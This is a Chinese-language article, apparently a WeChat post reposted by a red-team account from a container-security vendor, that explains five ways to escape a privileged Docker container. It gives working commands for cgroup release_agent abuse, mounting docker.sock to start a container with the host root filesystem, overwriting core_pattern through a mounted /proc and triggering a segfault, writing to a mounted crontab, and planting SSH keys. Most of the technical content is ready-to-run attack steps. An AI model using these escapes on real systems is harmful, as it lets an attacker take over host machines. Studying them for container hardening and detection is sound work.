Skip to content

Latest commit

 

History

History
308 lines (133 loc) · 8.5 KB

[渗透攻击红队]-2021-9-15-五种方式教你用特权容器逃逸.md

File metadata and controls

308 lines (133 loc) · 8.5 KB

五种方式教你用特权容器逃逸

渗透攻击红队

渗透攻击红队

微信号 RedTeamHacker

功能介绍 一个专注于渗透红队攻击的公众号


__

收录于话题

编者荐语:

容器逃逸,逃起来~

以下文章来源于小佑科技 ,作者小佑科技

小佑科技 .

北京小佑科技专注于云计算安全的科技公司,我们开发了自主知识产权的PAAS容器安全防护产品,解决容器全生命周期的安全问题,同时为客户提供高品质的安全事件应急处理、合规咨询等安全服务,以产品加服务的方式为客户提供高价值的安全解决方案。

前言

随着容器被广泛的使用,容器安全问题也越来越受重视,容器逃逸便是其中一项。容器逃逸可以理解为当攻击者通过某种手段获取到容器内权限后利用某些条件来创造条件,以获得容器所在宿主机的权限,也可以说是提权了。这次简单说几个个特权容器的逃逸手法。

正文

关于特权容器的逃逸相对来说比较容易一些,毕竟它自身已经被赋予了最大的权限。一般可能第一点想到的就是挂载主机的/etc目录来写定时任务或者是挂载/root/.ssh写ssh密钥。

方式一:挂载/etc逃逸

因为/etc目录中包含crontab的配置文件,此文件目录为/etc/crontab。挂载了宿主机的/etc到容器内,在容器内修改crontab文件,宿主机上的crontab文件也同样会修改。话不多说,直接上图。

方式二:挂载/root逃逸

挂载了/root/.ssh目录到容器内,可以通过此方式逃逸。

  • 生成本机的ssh私钥和公钥,命令:ssh-keygen -t rsa

  • 把本机的公钥复制到容器内的/root/.ssh/authorized_keys里,可以实现宿主机的免密登陆。

将公钥复制至authorized_keys中

容器内直接使用私钥登陆宿主机,如图登陆成功

这两种方法简单粗暴,但是极容易被检测到,从而暴露。

方式三:挂载cgroup逃逸

首先启动一个容器

docker run --rm -it --privileged ubuntu bash

在容器里执行命令,将cgroup直接以 cgroup类型挂载到容器内,挂载选项为 rdma(远程直接内存访问)并在容器内创建一个子cgroup目录(cgroup_2),目的是为了创建release_agent文件且触发release_agent执行的cgroup。

mkdir /tmp/cgroup  
mount -t cgroup -o rdma cgroup /tmp/cgroup   
mkdir /tmp/cgroup/cgroup_2

激活子cgroup的notify_on_release,使得在子cgroup退出时能够执行其父cgroup中的release_agent,当将 notify_on_release被设置为1时,在子cgroup被移除时,内核将会运行顶层cgroup下的release_agent文件中指定的命令。

echo 1 > /tmp/cgroup/cgroup_2/notify_on_release

通过读取/etc/mtab获取uppdir= 后面跟随的路径(宿主机访问容器的路径),并将其并写入 release_agent(如下图所示),宿主机可通过该路径访问容器根目录,cgroup最后一个程序退出时执行/cmd的脚本。

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`  
echo "$host_path/cmd" > /tmp/cgroup/release_agent

接下来就是构造cmd脚本,并将结果输出到容器内output下

echo '#!/bin/sh' > /cmd  
echo "ps ef > $host_path/output" >> /cmd   
chmod a+x /cmd

通过子cgroup创建一个可以立即结束的进程,实施攻击,如图,成功获得主机ps结果

sh -c "echo \$\$ > /tmp/cgroup/cgroup_2/cgroup.procs"

方式四:挂载docker.sock实现逃逸

当宿主机的docker.sock被挂载到容器内时,此容器可以通过docker.sock控制宿主机创建任意配置容器和控制正在运行的容器

 docker -H unix:///hack/docker.sock info  #通过此命令可以查看docker信息

docker -H unix:///hack/docker.sock run -it  --rm -v /:/test --name=docker_sock_taoyi2 centos  /bin/bash  #通过docker创建一个挂载宿主机根目录的容器  

创建成功。

方式五:挂载/proc目录实现逃逸

1、与cgroup相同,通过读取/etc/mtab获取uppdir= 后面跟随的路径。

sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab

2、此时容器内的 /exp.sh 对应宿主机/var/lib/docker/overlay2/5aad6c46857541101a54c64b8e92ac8495e4eecb6bbd6a76e24a0335be8d2d92/diff/exp.sh 文件。

3、挂载之后的文件,相当于共享。容器内外修改都会对应产生变化

echo -e "|/var/lib/docker/overlay2/5aad6c46857541101a54c64b8e92ac8495e4eecb6bbd6a76e24a0335be8d2d92/diff/exp.sh \rcore " > /host_proc/sys/kernel/core_pattern  

4、容器内触发segmentation fault

#include <stdio.h>  
  
int main(void){  
int *a = NULL;  
*a = 1;  
return 0;  
}

5、执行

./a.out

总结

由于篇幅有限,此次只介绍了五种常见的特权容器逃逸思路。除此之外,特权容器或是容器逃逸的方式还有很多种,后续再一 一详述。

END

关于鲲鹏安全实验室

鲲鹏安全实验室专注于容器安全和业务灰黑产对抗的研究,收集和挖掘容器相关技术的安全漏洞,采集业务灰黑产情报,研究对抗手段。并将研究成功转换为产品和服务。

内容编辑:鲲鹏安全实验室 阳光照亮宇宙 责任编辑:剁肉工

往期推荐

云原生安全开源项目汇总
3种攻击手段教你拿下k8s集群

小佑科技入选Gartner《云原生应用保护平台创新洞察》代表厂商

预览时标签不可点

收录于话题 #

个 __

上一篇 下一篇

阅读

分享 收藏

赞 在看

____已同步到看一看写下你的想法

前往“发现”-“看一看”浏览“朋友在看”

示意图

前往看一看

看一看入口已关闭

在“设置”-“通用”-“发现页管理”打开“看一看”入口

我知道了

__

已发送

取消 __

发送到看一看

发送

五种方式教你用特权容器逃逸

最多200字,当前共字

__

发送中

写下你的留言

微信扫一扫
关注该公众号

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看